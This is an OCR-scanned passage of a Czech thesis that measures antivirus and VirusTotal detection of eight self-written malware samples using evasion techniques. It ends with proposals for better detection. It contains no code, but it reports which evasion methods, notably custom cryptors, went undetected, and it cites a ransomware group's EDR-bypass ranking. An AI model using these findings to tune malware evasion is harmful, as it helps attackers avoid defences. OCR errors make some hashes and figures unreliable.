k vlastnostem souboru anebo pti vynucenim skenu viz obrazek 45 v ptiloze P I1.

Tabulka 42 Indikatory detekce mlwr 1 | F-Secure

Zjisténé indikatory detekce pro mlwr_1 | F-Secure
Scénar: Popis: Detekce: Hodnoceni:
DWN Bez indikatoru detekce X 0
ACC Bez indikatoru detekce X 0
RUN Hrozba detekovana pfi spusténi v 1
viz obrazek 46 v ptiloze P 11
SCAN Bez indikatoru detekce X 0

(zdroj: viastni)
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Tabulka 43 Indikatory detekce mlwr 2 | F-Secure

Zjisténé indikatory detekce pro mlwr_2 | F-Secure

Scénar: Popis: Detekce: Hodnoceni:
DWN Bez indikatoru detekce X 0
ACC Bez indikatoru detekce X 0
RUN Hrozba detekovana pii spusténi v 1
SCAN Bez indikatoru detekce X 0
(zdroj: vlastni)
Tabulka 44 Indikatory detekce mlwr 5 | F-Secure
Zjisténé indikatory detekce pro mlwr_5 | F-Secure
Scénar: Popis: Detekce: Hodnoceni:
DWN Bez indikatoru detekce X 0
ACC Bez indikatoru detekce X 0
RUN Hrozba detekovéna pfi spusténi v 1
SCAN Bez indikatoru detekce X 0
(zdroj: vlastni)
Tabulka 45 Indikéatory detekce mlwr 6 | F-Secure
Zjisténé indikatory detekce pro mlwr_6 | F-Secure
Scénar: Popis: Detekce: Hodnoceni:
DWN Bez indikatoru detekce X 0
ACC Bez indikatoru detekce X 0
RUN Hrozba detekovéna pfi spusténi v*E 1
SCAN Bez indikatoru detekce X 0

(zdroj: viastni)
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Tabulka 46 Indikatory detekce mlwr 7 | F-Secure

Zjisténé indikatory detekce pro mlwr_7 | F-Secure
Scénar: Popis: Detekce: Hodnoceni:
DWN Bez indikatoru detekce X 0
ACC Bez indikatoru detekce X 0
RUN Hrozba detekovana pii spusténi v* 1
SCAN Bez indikatoru detekce X 0

(zdroj: vlastni)

Celkové dosazené skore detekce pri analvze F-Secure:

Tabulka 47 Celkové dosazené skore detekéniho enginu F-Secure

Testovany scénar:
DWN: ACC: RUN: SCAN: Skoére malwaru:
mlwr 1 X X v X 0
mlwr 2 X X J* X 0
mlwr 3 X X X X 5
mlwr_4 X X X X 5
mlwr 5 X X J* X 0
mlwr 6 X X J* X ¥
mlwr 7 X X J* X 0
mlwr 8 X X X X 5
Celkové skore detekéniho enginu: 0.25

(zdroj: viastni)

v'* - Antivirus zablokoval spusténi malwaru, avSak bez jakékoliv notifikace uzivateli,

jedna se o identické chovani jako v ptipadé€ testu detekovatelnosti samotného payload.exe.

Celkové detekeni skore antivirového enginu F-Secure vypocitané podle vzorce (3):

Scoreay, = (Scorey, + Scorey, + -+ Scorey,) /n

je tedy: 0.25
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4.2.8 Detekéni enginy VirusTotal

Metrika pouzita pro VirusTotal vychazi ze vzorce 1 a je tedy nasledujici:

VirusTotalScore (VTS) =

Pocet pozitivnich detekci

Celkovy pocet AV reSeni

Tabulka 48 Dosazené skore pomoci online sluzby VirusTotal

Nazev: | Detekce: | VIS: | Hash z VirusTotal.com:

mlwr 1 11/71 0.15 | ebbb6484334f448d8f41946bad91bS5a7e¢424756a3521bb2
S5cca687cde097a088

mlwr 2 21/72 0.29 | d14b12a3255fb530dab3a24067¢2473a5756309b3e009a
4e03032c8375bf57ef

mlwr 3 2/72 0.02 | 3fd72aa8823fb22fca65e856fa9afdeb6749128a2ea90317
2726dbe7dc104fcl

mlwr 4 1/72 0.01 | acc11046a9513239411e2a20955dc5f1cd96c9d798d4233
4c8b1d6d707155577

mlwr 5 10/72 0.13 | 7e21a2deSfafcbe33cf959¢7296090309d74e8a84e464dbf
e3aca3d4acb58ac8

mlwr_6 15/72 0.20 | 0b8344acd620f7d840d4ad4ad55759bc4a763017fad6421
a767f4cd09bdc66eb

mlwr_7 8/72 0.11 | 1137d05e603d6dbc15f3393bc2949¢775844092124ad351
a2dc367e2c52ac2a3

mlwr_8 3/71 0.04 | 5767515c8ect984d5e260cef5fefd059a3bdc98cale5072f

88fc03d09ba3a2c2

(zdroj: vlastni)
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4.3 Interpretace vysledku analyzy

Pro lepsi znazornéni ziskanych vysledki analyzy byla na zakladé¢ dil¢ich vysledka pro

jednotlivé detekéni enginy sestavena heatmapa, kterd zndzoriiuje ucinnost jednotlivych

technik a zptsob, jakym na né konkrétni antivirové nastroje reaguji.

Detek¢ni enginy AV

RunPE _
miwr_1

Reflective DLL
miwr_2
0
0

Crypto API _
miwr_3

Custom Cryptor _
miwr_4

0
Obfuskace Win API

E 0.7
miwr_5

PouZita technika
(Malware)

Shellcode injection _

0 1
miwr_6

Packery a Cryptery _
miwr_7

Anti debug/sandbox
miwr_8 |

1 ' '
AV1 A2 AV3

i

0 o] 0 0
0 1] 1] 0
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0.04

2
™M -
=

|
VTS

Obrazek 23 Vizualizace dil¢ich vysledkt v heatmapé

(zdroj: vlastni)

Déle byla sestavena tabulka zobrazujici detek¢éni schopnosti v zavislosti na ziskaném

skore:

Tabulka 49 Vysledky jednotlivych detekénich engint a jejich umisténi

Jméno antivirového programu: Celkové skore: Celkové umisténi:
ESET (AVS) 0.45 1

AVG (AV3) 0.412 2-3
AVAST (AV4) 0.412 2-3
BitDefender (AV2) 0.375 4
F-Secure (AV7) 0.25 5
WinDefender (AV1) 0.05 6
McAfee (AV6) 0 7

(zdroj: vlastni)
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4.3.1 Dle pouzité techniky

Vysoké detekéni skore testovanvch engint a VTS (dobfe detekovatelné techniky):

e Obfuskace volani Windows API (3.4 + 0.13 = 3.53)

Velice dobfe detekovatelna technika dynamickou analyzou, které monitoruje
nestandartni volani Windows API funkci. Antivir BitDefender byl schopny tuto techniky
odhalit jak pfi spusténi, tak pfi vynuceném skenu nikoliv vSak pii piistupu k souboru ¢i
stazeni z internetu. Antiviry Avast i AVG byly schopny tuto hrozbu detekovat pfi stazeni,
spusténi a vynuceném skenu. Nejlepsi detekéni schopnosti k rozpoznani této techniky mél
Antivirus Eset, ktery ji byl schopny identifikovat ve vSech scénatich. Nizké skore VTS
naopak indikuje, ze je pro antivirové enginy obtizné tuto techniku identifikovat statickou

analyzou.
e Shellcode Injection ze vzdaleného zdroje (3.2 + 0.20 = 3.40)

Dalsi velice dobie detekovatelna technika dynamickou analyzou. Technika byla
detekovana vétSinou antiviru pii spusténi, antivirovy engine AVG a Avastu byl tuto hrozbu
schopen detekovat ve vSech testovanych scénéfich. Nizké skore VTS pravdépodobné
znamena, ze statickd analyza testovanych enginii nebyla schopna rozpoznat vzory, které by

nasvédcovaly, Ze jde o potencialni hrozbu.
e RunPE (2.8 +0.15=2.95)

Spolehlivé detekovatelnd technika dynamickou a behavioralni analyzou kdy vétSina
antivird tuto techniku oznacila jako podezielou pii béhu. Antivir BitDefender byl schopny
techniku identifikovat jako Trojan. GenericKD.76468636 coz vede k zavéru, Ze tento antivir
pouziva ve svém Statickém detekéni enginu heuristiku, pii které porovnava testovany vzorek
s generickymi vzorky malwaru a hleda podezielé vzory chovani. Antivir Eset tuto hrozbu
odhalil ve vSech scénafich diky potencidln¢ agresivni heuristice anebo pokrocilé analyze
signatur, metadat ¢i jednotlivych fetézcii. VTS skore pak znaci, Ze antivirova enginy maji

problém tuto techniku identifikovat statickou analyzou.
e Reflective DLL injection (2.2 + 0.29 = 2.49)

Casto pouzivana technika, které je snadno identifikovatelnd jak statickou, tak
dynamickou analyzou. Vyssi skére pro VTS u této techniky nasvédcuje, ze jsou antiviry tuto
techniku schopny detekovat jiz pfi statické analyze, a to nejspiSe pfi porovnavani

jednotlivych vzoru a signatur z jiz znamych hrozeb.
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e Packery a Cryptery (2 + 0.11 =2.11)

Technika snadno detekovatelna pii spusténi dynamickou analyzou. Niz§i VTS
skore je pravdépodobné zplisobeno horsi citlivosti detekénich engind na tento typ

hrozby.

Nizké detekéni skore testovanych enginti a VTS (Spatn€ detekovatelné techniky):

e Anti-Debug / Anti-Sandbox (2 + 0.04 = 2.04)

Tato technika je obtizn€ detekovatelné statickou analyzou navic je Spatn¢ detekovatelna
dynamickou analyzou ¢i heuristikou. Nizké VTS skore potvrzuje netcinnost statické
analyzy na tuto techniku. V pfipad¢ testovanych antivirti nebyla tato technika odhalena ani
pfi dynamické ¢i runtime analyze, detekéni enginy v tomto pfipadé pouze reagovaly na

vytvoteny soubor Eicar viz obrazky 2, 11, 21, 31, 43 v ptiloze P II
e  Win Crypto API (0 +0.02 = 0.02)

Detekéni enginy nebyly schopny tuto hrozbu rozpoznat a povaZzovaly ji za legitimni
software. Nizké VTS skore naznacuje, ze detekéni enginy interpretuji pouziti Win Crypto

API jako legitimni.
e (Custom Cryptor (0 + 0.01 =0.01)

Nejnizsi skore toho vzorku naznacuje, ze pokud neni zndma signatura malwaru, ktery
pouziva svou vlastni implementaci Sifrovaciho algoritmu tak je v podstaté pro antivir

nedetekovatelny.
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4.3.2 Dle zvoleného antivirového programu

Vysoka detekéni uspéSnost antiviru (dobry detekéni engine):

ESET (AVS) byl uspésny v detekci vétSiny hrozeb coz znac¢i potencialné agresivni
heuristiku anebo pokrocilou analyzu signatur, metadat ¢i jednotlivych fetézci. Tento
detekéni engine zvladl jako jeden z mala detekovat neznamou hrozbu jiz pii stazeni

(testovaci scénaf DWN).

AVG (AV3) a Avast (AV4) naprosto identické detekéni schopnosti, kvalitni detekce
Shellcode injection pomoci analyzy signatur anebo jiZ pfi stazeni hrozby, ostatni hrozby
detekovany pfi spusténi vedou k zavéru, ze tyto enginy maji dobfe navrzenou runtime

detekei.

BitDefender (AV2) ma jako jediny testovany antivir nejvyssi skore pii detekci
techniky Reflective DLL, pravdépodobné dobfie reaguje na signatury této techniky. Naopak

zaostava pii detekci Shellcode injection, kdy nebyl schopen hrozbu detekovat ani za béhu.

AVG (AV3) a Avast (AV4) naprosto identické detekéni schopnosti, kvalitni detekce
Shellcode injection pomoci analyzy signatur anebo jiz pfi stazeni hrozby, ostatni hrozby
detekovany pfi spusténi vedou k zavéru, Ze tyto enginy maji dobfe navrZenou runtime

detekci.

F-Secure (AV7) uspésny pii detekci vétSiny hrozeb pii spusténi (dobra behavioralni
analyza v runtime), avSak bez notifikace uZivatele, technika Anti-debugging / anti-
sandboxing byla schopna ulozit textovy fetézec EICAR do souboru mlwr NN eicar.com
bez detekce coz vede k zavéru, Ze je tento detekéni engine zmast a maskovat se jako

legitimni program.

Nizka detekéni uspésnost antiviru (nedostateény detekéni engine):

WinDefender (AV1) Spatna real-time detekce hrozeb v ptipad¢ spustitelnych soubort.
Vétsina technik byla schopna ulozit testovaci soubor Eicar do cilové slozky bez jakékoliv

reakce antiviru. Ulozeny textovy fetézec Eicar byl detekovany az pti vynuceném skenu.

McAfee (AV6) neschopnost detekovat potencidlni hrozbu pfi spusténi vede k zavéru,
ze tento detekéni engine ma velice slabou heuristiku anebo vSeobecné konzervativni

detek¢ni engine pravdépodobné zaméteny primarné na detekcei signatur znamych hrozeb.
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Vyse uvedené vysledky analyzy testovanych detekcni enginii antivirovych programt

navic koreluji s analyzou provedenou hackerskou skupinou Conti Ransomware Group, kde

skupina hodnoti uc¢innost jednotlivych feSeni nasledovné:

CROWDSTRIKE

4 paloalto

il " = e, =
[ﬂll =i FLIATINET i !
Sentinel g

v Kaspersky @ meson Q) FIRE:
.....

Malwarebytes

¥ Symantec
cybereason

. DHcAfee WEBROOT

Obrazek 24 Hodnoceni jednotlivych feseni dle Conti Ransomware Group

(zdroj: cybermaxx.com [48])

Tabulka 50 Potadi obtiznosti obejiti detek¢éniho enginu dle Conti Ransomware Group

Poradi: | Popis dle Conti Ransomware Group:

S Nejtézsi EDR k obejiti, pfedstavujici urCitou uroven odporu.

A Silné detekéni schopnosti, k obejiti je nutno vynalozit znacné Gsili.

B Primérné detekcni schopnosti, Gito¢nici je berou vazné, ale existuji feseni jak je
obejit.

C Dostate¢né slabé detekéni schopnosti, které jsou utocniky ignorovany pii
vetsing seridznich ttokd.

D Témét irelevantni detekéni schopnosti, relativné trivialni k obejiti.

LOL | Nastroje, které jsou v redlnych ptipadech naruseni bezpe€nosti povazovany za

smésné nedcinné.

(zdroj: cybermaxx.com [48])
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4.4 Omezeni a slabiny detekénich mechanismii jednotlivych AV

Z provedeného testovani je patrné, ze mezi jednotlivymi antivirovymi produkty existuji
znacné rozdily v jejich detekéni ucCinnosti. Nékteré nastroje dokazaly spolehlivé odhalit
pokrocilé techniky, jako je Shellcode injection nebo RunPE, zatimco jiné naopak vykazovaly
nizkou nebo nulovou miru detekce. To naznacuje rozdilnou hloubku heuristickych analyz,

miru pouziti sandboxingu ¢i piitomnost behavioralnich engini.

Zjisténé rozdily v detekci mezi jednotlivymi AV néstroji potvrzuji, Ze ne vSechna fesSeni
poskytuji stejnou uroven ochrany, zejména proti pokrocilejsim technikdm pouzivanym v

realném malwaru ¢i proti jejich kombinaci.

4.5 Zjisténa omezeni Statické analyzy

Z dosazenych vysledkil je ziejmé, Ze statickd analyza u vétSiny detekénich engint
nesplnila sviij Gcel, nebot’ jejim cilem bylo zachytit zndmé signatury ¢i podezielé sekvence
obsaZen¢ v binarnim souboru jiz pii jeho uklddani z internetu na disk. Detekéni schopnosti
statické analyzy byly omezené, jelikoZ testované techniky byly naprogramovany specificky
pro tento experiment a otisky (hashe) jednotlivych vzorkd nebyly antivirovym néstrojim

pfedem znamy, a tudiZ je nemohly jednozna¢né identifikovat.

V tomto ptipadé¢ lze oznacit Statickou analyzu jako spolehlivou pouze pfi detekci jiz
znamych hrozeb nicméné netcinnou pii detekci hrozeb novych ¢i jejich novych mutaci kdy
by idealné staticky detekéni engine mél také analyzovat metadata, textové fetézce a vzorce

obsazené v potencialné nebezpe¢ném souboru.

4.6 Zjisténa omezeni Dynamické analyzy

Dynamickéd analyza vykazala vyS$$i detek¢ni uspéSnost nez statickd analyza, a to
zejména diky tomu, ze testované vzorky byly spoustény v sandboxovém prostiedi antiviru
anebo byly podrobeny analyze volani funkci, sledovani zapisu do paméti a spousténi kodu z
paméti. Na zakladé tohoto chovani mohl detekéni engine vyhodnotit binarni soubor jako

potencidlné Skodlivy i v ptipadé kdy Slo o novy malware bez existujici signatury.

Tento druh analyzy byl efektivni pii cilené obfuskaci volanych API funkci systému

Windows ¢i pii detekci technik ovétujicich spusténi v sandboxu. Zarovein se ukazalo, ze k
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technikam, jako jsou Win CryptoAPI nebo Custom Cryptor, jsou detekéni enginy velmi

tolerantni, a tyto techniky tak lze zneuZzit bez zjevné detekce.
V antivirovych enginech jsou pak patrné urcité rozdily — nékteré umoznily spusténi
Skodlivého programu, jiné sice spusténi povolily, ale nasledn¢ zablokovaly extrakci

payloadu, a jiné zabranily spusténi programu upln¢.
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5 NAVRHY NA ZLEPSENI OCHRANY PRED MALWARE

Ukol detekénich engint antivirovych programu je velice problematicky, a to z diivodu
tenké hranice mezi detekci skutecné skodlivého kodu a faleSnym oznaCenim potencidlné

bezpecnych aplikaci jako nebezpecné.

Spravné fungujici antivirovy engine by nem¢l uzivatele omezovat v jeho kazdodenni
praci tzn. nemél by falesné detekovat hrozby tam kde nejsou, a naopak spolehlivé detekovat

hrozby tam kde jsou ¢i alespoii na potencialni hrozby uzivatele upozornit.

5.1 MozZnosti zlepSeni AV FeSeni

Analyza poskytla dostatek informaci k evaluaci jednotlivych druhy analyz

provadénych detekénimi enginy a k névrhu jejich vylepseni.

Z analyzy jasné vyplyva, Ze vétSina detek¢nich enginli spoléha na Statickou analyzu
jako na prvotni test podezielého souboru, tato je vSak netucinna pii detekci novych hrozeb.
Dale je znatelné, Ze nékteré enginy dobfte reagovaly na Skodlivé programy po jejich spusténi

a dokazaly za béhu omezit potencidlné podezielé ¢i destruktivni akce.

Vzhledem tomu, Ze je zjevné, Ze je vétSina testovanych enginl bezradnd pfi detekci
novych hrozeb doporucil bych ptidat dalsi detekéni vrstvu, které bude zaloZena na pokrocilé
behaviordlni analyze, analyze malwaru pomoci strojového uceni ¢i pomoci pamétové

analyzy, ktera by mohla efektivnéji odhalit techniky typu process injection.

5.1.1 Pokrocila Behavioralni analyza

Jednim z klicovych smérti pro zvySeni efektivity detekce modernich hrozeb je
implementace pokroc€ilé behavioralni analyzy, ktera piekracuje tradi¢ni pfistupy zaloZzené na
signaturach nebo statickém rozboru binarniho kodu. Cilem je dynamicky sledovat chovani
procesu v redlném case a vyhodnocovat podezielé aktivity na zédkladé kontextu, sekvence

udalosti a interakci s opera¢nim systémem.
Prvky pokrocilé behavioralni analyzy by mohly byt nasledujici:

e Dynamické profilovani procesti — kazdy procesu je pfifazen do urcité kategorie

podle behavioralniho profilu, ktery je pro néj typicky z hlediska volanych API,



116 UTB ve Zliné, Fakulta aplikované informatiky

prace se soubory, sitové komunikace, alokaci paméti ¢i interakci s dalSimi

procesy

e Korelace udélosti — systém monitoruje v redlném case udalosti, které spustény
proces provadi a dle preddefinovanych odchylek chovéni, které mohou
indikovat chovani malware je detekuje napi: spusténi procesu — manipulace

s pam¢éti — otevieni spojeni do internetu muze indikovat chovani dropperu.

e Lehky sandboxing — lehky integrovany sandbox, ktery emuluje spusténi
podezielych bindrnich soubori bez interakce uzivatele a na zdkladé jejich

chovani je hodnoti

e Ochrana proti anti-debug a anti-sandbox technikdm — detekcni engine by mél

mit schopnost detekovat techniky ur¢ené k maskovani

Hlavni vyhodou pokrocilé behavioralni analyzy pak je:
e ZvySend odolnost vii¢i 0-day utokiim

e Vetsi adaptabilita na nové typy utokl

5.1.2 Strojové uceni a uméla inteligence

Dalsi potencialnim vylepSenim detekénich engint by mohlo byt strojové uceni (ML) a

umeéla inteligence (Al).
Hlavni prvky toho druhu analyzy:

e Statickd analyza pomoci ML — klasifikace bindrnich souborii za pouziti

extrahovanych atributli z binarniho souboru
e Dynamické analyza pomoci ML — klasifikace na zaklad€ runtime dat

e Anomadlni detekce — rozpoznavani vzoru, které se vyrazné lisi od legitimnich

aplikaci

e Adaptivni detekce — model se uci na zdkladé zpétné vazby od uzivatele podle

které upravuje agresivitu detekce
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Vyhody tohoto pfistupu jsou:
e Detekce 0-day hrozby bez predchozi znalosti
e Predikce rizikového chovani malware

e Prizplsobeni se uzivatelskym pottebam dle zpétné vazby

5.1.3 Detekce pomoci pamét’ové analyzy

Dalsim podstatnym prvek, ktery by mohl vést ke zlepseni detekénich enginti je analyza

paméti spusténého procesu.
Kli¢ovy princip této analyzy je:

e Skenovani pamétovych oblasti — hledani podezielych pamétovych sekci ¢i

porovnavani pamétového obrazu s binarnim obrazem na disku
e Detekce neautorizovanych DLL injekei

e Detekce Skodlivych stringli, shellcodii nebo sitovych relaci pfimo v paméti

procesit

Vyhody pamétové analyzy:

e Schopnost detekce malware, ktery se nevyskytuje na disku, a tedy unika

tradi¢nim antivirovym kontrolam

e Moznost rekonstrukce Skodlivého kodu z paméti (potom co byl do paméti

rozbalen) a mozZnost reverzni analyzy

5.2 Doporuceni pro koncové uzivatele a organizace

VSeobecné zname doporuceni pro koncové uzivatele vyplyva zjiz znamych

bezpecnostnich doporucenich jako:
e Omezovani prav uzivatelii a segmentace siti
e Pravidelné skoleni uzivateli ohledné pocitatové bezpecnosti

e Pravidelna aktualizace veskerého software
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e Zalohovani a pfiprava na ptipadné incidenty

e Neomezovat se pouze na antivir
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ZAVER

Tato prace si dala za cil analyzovat detekéni mechanismy antivirovych programu
prostiednictvim vybranych technik, které jsou bézné vyuzivany tvirci skodlivého kodu za
ucelem obejiti detekce. Na zaklad€ experimentalniho testovani riiznych antivirovych enginti
bylo zjisténo, ze vétSina z nich i nadale spoléha predevsim na signaturni analyzu jako stézejni

detekéni metodu.

Vysledky vSak ukdzaly, Ze tento pfistup ma znacna omezeni — zejména v piipadé
novych nebo obfuskovanych vzorkt, kde signaturni ptistup selhavéa a nedokaze efektivne
reagovat na dynamicky se meénici hrozby. Testované techniky obfuskace, Sifrovani,
manipulace s paméti (process injection) ¢i obfuskace API volani prokazaly, Ze i relativné

jednoduché tipravy mohou vést k uspésnému obejiti detekce.

Z téchto zjisténi vyplyva potieba posunu smérem k pokrocilej§im detek¢nim metodam,
jako je behavioralni analyza, pamétova inspekce nebo vyuziti strojového uceni a umélé
inteligence, které umoziuji identifikovat hrozby na zaklad¢ jejich chovani, a ne pouze ze

zndmych vzorct €1 signatur.

Zaroven tato prace ukazuje, Ze samotny antivirovy program neni dostacujicim
bezpecnostnim prvkem, a ze efektivni ochrana systému vyzaduje kombinaci vice vrstev
zabezpeceni, aktivni monitoring a pravidelnou aktualizaci znalosti jak na strané

administratord, tak na strané uzivatelu.
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SEZNAM POUZITYCH SYMBOLU A ZKRATEK

AV  Anti Virus

API  Application Programming Interface / Aplika¢ni programovy interface
ML  Machine Learning / Strojové uceni

SQL  Structured Query Language / Strukturovany dotazovaci jazyk
XSS Cross-Site Scripting

VPN Virtual Private Network / Virtualni privatni sit’

URL Uniform Resource Locator / Jednotny lokator zdroje

VTS Virus Total Skore

DLL Dynamic-Link library / Dynamicky pfipojitelna knihovna

EXE Executable / Spustitelny soubor

XOR Exclusive OR

AES  Vyznam treti zkratky

RC4 Vyznam treti zkratky

RSA Vyznam tfeti zkratky

ECC Vyznam tfeti zkratky

PE  Portable Executable

PEB Process Environment Block

IDE Integrated Development Environment / Integrované vyvojové prostiedi
vCPU Virtual Central Processor Unit

vRAM Virtual Random Access Memory

VM  Virtual Machine / Virtualni pocitac¢

HTTP HyperText Transfer Protocol / Hypertextovy pfenosovy protokol
WMI Windows Management Instrumentation

OS  Operacni systém
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SEZNAM PRILOH

Ptiloha PI:  Zdrojové kody vyvinutych vzorki malware

Ptiloha P II:  Zjisténé indikatory detekce



PRILOHA P I: ZDROJOVE KODY VYVINUTYCH VZORKU
MALWARE

DP jdluhos prilohy.zip

slozka payload:
e soubor payload.cpp

slozka MLWR _1:
e soubor mlwr_1.cpp
e soubor payload.cpp
e soubor README .txt

slozka MLWR_2:
e soubor loaders.h
e soubor mlwr 2.cpp
e soubor payload.cpp
e soubor README.txt

slozka MLWR_3:
e soubor mlwr 3.cpp

e soubor README.txt

slozka MLWR_4:
e soubor mlwr 4.cpp

e soubor README.txt

slozka MLWR_5:
e soubor getApiHashes.cpp
e soubor mlwr_S.cpp
e soubor payload.cpp
e soubor README.txt

slozka MLWR_6:
e soubor mlwr_l.cpp

e soubor mlwr_6.cpp



e soubor payload.cpp

e soubor xor obfuscation.cpp

slozka MLWR _7:
e soubor safer encryptor.cpp
e soubor mlwr_1.cpp
e soubor mlwr_7.cpp
e soubor payload.cpp
e soubor README.txt

slozka MLWR_8:

e soubor mlwr_8.cpp

slozka diagramy:

e behavioral based.drawio

dll_injection.drawio
e experiment flow.drawio
e process_injection.drawio

RunPE.drawio

e signature based.drawio



PRILOHA P II: ZJISTENE INDIKATORY DETEKCE

V této piiloze jsou prilozeny vsSechny podklady k indikatorim detekce pro jednotlivé

antivirové programy.

Wirus:DOS/EICAR_Test_File

Alert level: Severe

Status: Active

Date: 25/05/2025 12:14

Category: Virus

Details: This program is dangerous and replicates by infecting ather files.

Learn more

Affected items:

file: C\Users\Public\mlwr_01_sicar.com
file: C\Users\Public\mlwr_02_eicar.com
file: C\Users\Public\mlwr_06_eicar.com

file: C\Users\Public\mlwr_07_eicar.com

Obrazek P II. 1 Detekce soubor Eicar pfi ptistupu ¢i vynuceném skenu | WinDefender

(zdroj: vlastni)

Threat quarantined
25/05/2025 12:01

Severe ™

Detected: Virus:DOS/EICAR_Test_File

Status: Quarantined

Quarantined files are in a restricted area where they can't harm your device. They
will be removed automatically.

Date: 25/05/2025 12:01
Details: This program is dangerous and replicates by infecting other files.

Affected items:

file: CA\Users\Publicymlwr_08 eicar.com

Obrazek P II. 2 Detekce Eicar z mlwr_8.exe pii scénafi RUN | WinDefender

(zdroj: viastni)



® Infected item detected ~
3 minutes ago

Feature: Antivirus

The file C:'l._Llée:&;'-._-,F'.::u;:Data"._LGca.l"-_h‘ icrosoft\Edge\User Data\Default\Cache\Cache_Data\f 0000b6 is
infected with Trojan.GenerickD.76468636 and was moved to guarantine. It is recommended that you run a
System Scan to make sure your system is clean.

View attack timeline | [ Restore l [ Delete ‘

Obrazek P II. 3 Detekce mlwr 1.exe pfi scénaii RUN | BitDefender

(zdroj: vlastni)

Threats were found.

Eesclved issues: 0
Unresclved issues: 1

Trojan.GenerickD. 76468636 1 issue l=ft (no action was taken)

Obrazek P II. 4 Detekce mlwr_1.exe pfi scénati SCAN | BitDefender

(zdroj: vlastni)

@ Suspicious activity blocked ~
now

Feature: Antivirus

CA\Users\INR .- pDatat\Local\Temph\e7dcecdd-2345-4d55-bd68-bb4d370f17bb_miwr_2_clear.zip.7bb
‘\mlwr_2.exe tried to load a malicious resource detected as Generic.Trojan.Loader.Marte.6.98A2B35D and was
blocked. Your device is safe.

Obrazek P II. 5 Detekce mlwr_2.exe pfi scénaii RUN | BitDefender

(zdroj: vlastni)



Threats were found.

Fesolved issues: 0
Unresalved issues: 1

Generic.Trojan.Loader.Marte.5.98A2B350 1 issue left (no action was taken)

Obrazek P II. 6 Detekce mlwr_2.exe pfi scénaii SCAN | BitDefender

(zdroj: vlastni)

p Suspicious activity blocked

oW

Feature: Antivirus

CAls :—'r*e."-_'-._i‘«;:;; Data\Local\Temp'36224bdd-Te81-463a-8eeT -
bea080a6ff08_miwr_5_clear.zip. f08\mlwr_5.exs tried to load a malicious resource detected as

rojan.GenerckKD. 76468634 and was blocked. Your device is safe.

Obrazek P II. 7 Detekce mlwr_5.exe pfi scéndii RUN | BitDefender

(zdroj: vlastni)

Threats were found.

Resolved issues: 0
Unresolved issues: 1

Trojan.GenerickD.76468634 1 issue laft (ho action was taken)

Obrazek P II. 8 Detekce mlwr_5.exe pii scénaii SCAN | BitDefender

(zdroj: viastni)



Py Infected item detected ~
Now

Feature: Antivirus

The file CAUsers\Public\mlwr_06_sicar.com is infected with EICAR-Test-File (not a virus) and was moved to
quarantine. It is recommended that you run a System Scan to make sure your system is clean.

Delete ]

Restore l

Obrazek P II. 9 Detekce mlwr_6.exe pfi scénaii RUN | BitDefender

(zdroj: vlastni)

® Infected item detected
oW

Feature: Antivirus

Bitdefender moved a threat to quarantine. File name: C:"\Users‘\-\[}ov.'nlUads‘imlwr_?.exe. [tis
recommended that you run a System 5can to make sure your system is clean.

Restore ‘ ‘ Delete ‘

@ nfected item detected
one minute ago

Feature: Antivirus

Bitdefender moved a threat to quarantine. File name: C\Users\| I Cownloads\output.exe. Itis
recommended that you run a System 5Scan to make sure your system is clean.

Restore | | Delete |

Obrazek P II. 10 Detekce mlwr_7.exe a output.exe pii scénaii RUN | BitDefender

(zdroj: vlastni)



® Infected item detected
now

Feature: Antivirus

The file Ch\Users\Public\mlwr_08_eicar.com is infected with EICAR-Test-File (not a virus) and was moved to
quarantine. It is recommended that you run a System Scan to make sure your system is clean

Restore \ ‘ Delete \

Obrazek P II. 11 Detekce mlwr_8.exe pfi scéndfi RUN | BitDefender

(zdroj: vlastni)

Threat secured

We've moved mlwr_01_eicar.com to your Quarantine because it was infected
with EICAR Test-NOT virus!!

We can also protect you from other types of threats

UPGRADE YOUR PROTECTION MORE OPTIONS -

See details -

Obrazek P II. 12 Detekce mlwr_1.exe pii scénaii RUN | AVG

(zdroj: viastni)



Threat secured

We've moved miwr_02_eicar.com to your Quarantine because it was infected

with EICAR Test-NOT virus!!

We can also protect you from other types of threats

UPGRADE YOUR PROTECTION  JREITUTITS T IV

See details -~

Obrazek P II. 13 Detekce mlwr 2.exe pii scénaii RUN | AVG

(zdroj: vlastni)

Threat secured

We prevented your connection to 192.168.100.11 because it is a dangerous

webpage. Threat category: Win64:MalwareX-gen [Misc]

We can also protect you from other types of threats

UPGRADE YOUR PROTECTION MORE OPTIONS --

See details -~

Obrazek P II. 14 Detekce mlwr_5.exe pii scénaii DWN | AVG

(zdroj: vlastni)



Threat secured

We've moved mlwr_5.exe to your Quarantine because it was infected with

Win64:MalwareX-gen [Misc]

We can also protect you from other types of threats
UPGRADE YOUR PROTECTION  JNIYI LTI (1YL

See details -

Obrazek P II. 15 Detekce mlwr 5.exe pii scénafi RUN | AVG

(zdroj: viastni)

Threat secured

We prevented your connection to 192.168.100.11 because it is a dangerous

webpage. Threat category: Win64:Evo-gen [Trj]

We can also protect you from other types of threats

UPGRADE YOUR PROTECTION  JREEYLTL T (LI IV

See details -

Obrazek P II. 16 Detekce mlwr_6.exe pti scénaii DWN | AVG

(zdroj: vlastni)



Threat secured

We've moved mlwr_6.exe to your Quarantine because it was infected with

Win&4:Evo-gen [Trj]

We can also protect you from other types of threats
UPGRADE YOUR PROTECTION  JRERR 08 1t IR

See details -

Obrazek P II. 17 Detekce mlwr_6.exe pii scénafi ACC | AVG

(zdroj: vlastni)

Threat secured

We've moved mlwr_6.exe to your Quarantine because it was infected with

Win64:Evo-gen [Trj]

We can also protect you from other types of threats

UPGRADE YOUR PROTECTION  JEYLUTE T TP

See details -~

Obrazek P II. 18 Detekce mlwr_6.exe pii scénafi RUN | AVG

(zdroj: vlastni)



All gone!

We've safely removed the malware so you can breathe a little easier.

Threat name Infected file

B W n64:Evo-gen |

Obrazek P II. 19 Detekce mlwr_6.exe pii scénafi SCAN | AVG

(zdroj: vlastni)

Threat secured

We've moved mlwr_07_eicar.com to your Quarantine because it was infected
with EICAR Test-NOT virus!!!

We can also protect you from other types of threats

UPGRADE YOUR PROTECTION  JNEEVILTL TS T A

See details

Obrazek P II. 20 Detekce mlwr_7.exe pti scénaii RUN | AVG

(zdroj: viastni)



Threat secured

We've moved mlwr_08_eicar.com to your Quarantine because it was infected

with EICAR Test-NOT virus!!!

We can also protect you from other types of threats

UPGRADE YOUR PROTECTION [N VL LI o 10 -V

See details -~

Obrazek P II. 21 Detekce mlwr_8.exe pii scénaii RUN | AVG

(zdroj: vlastni)

& Avast

2

Threat secured

We've moved miwr_01_eicar.com to your Quarantine because it was infected
with EICAR Test-NOT virus!!!

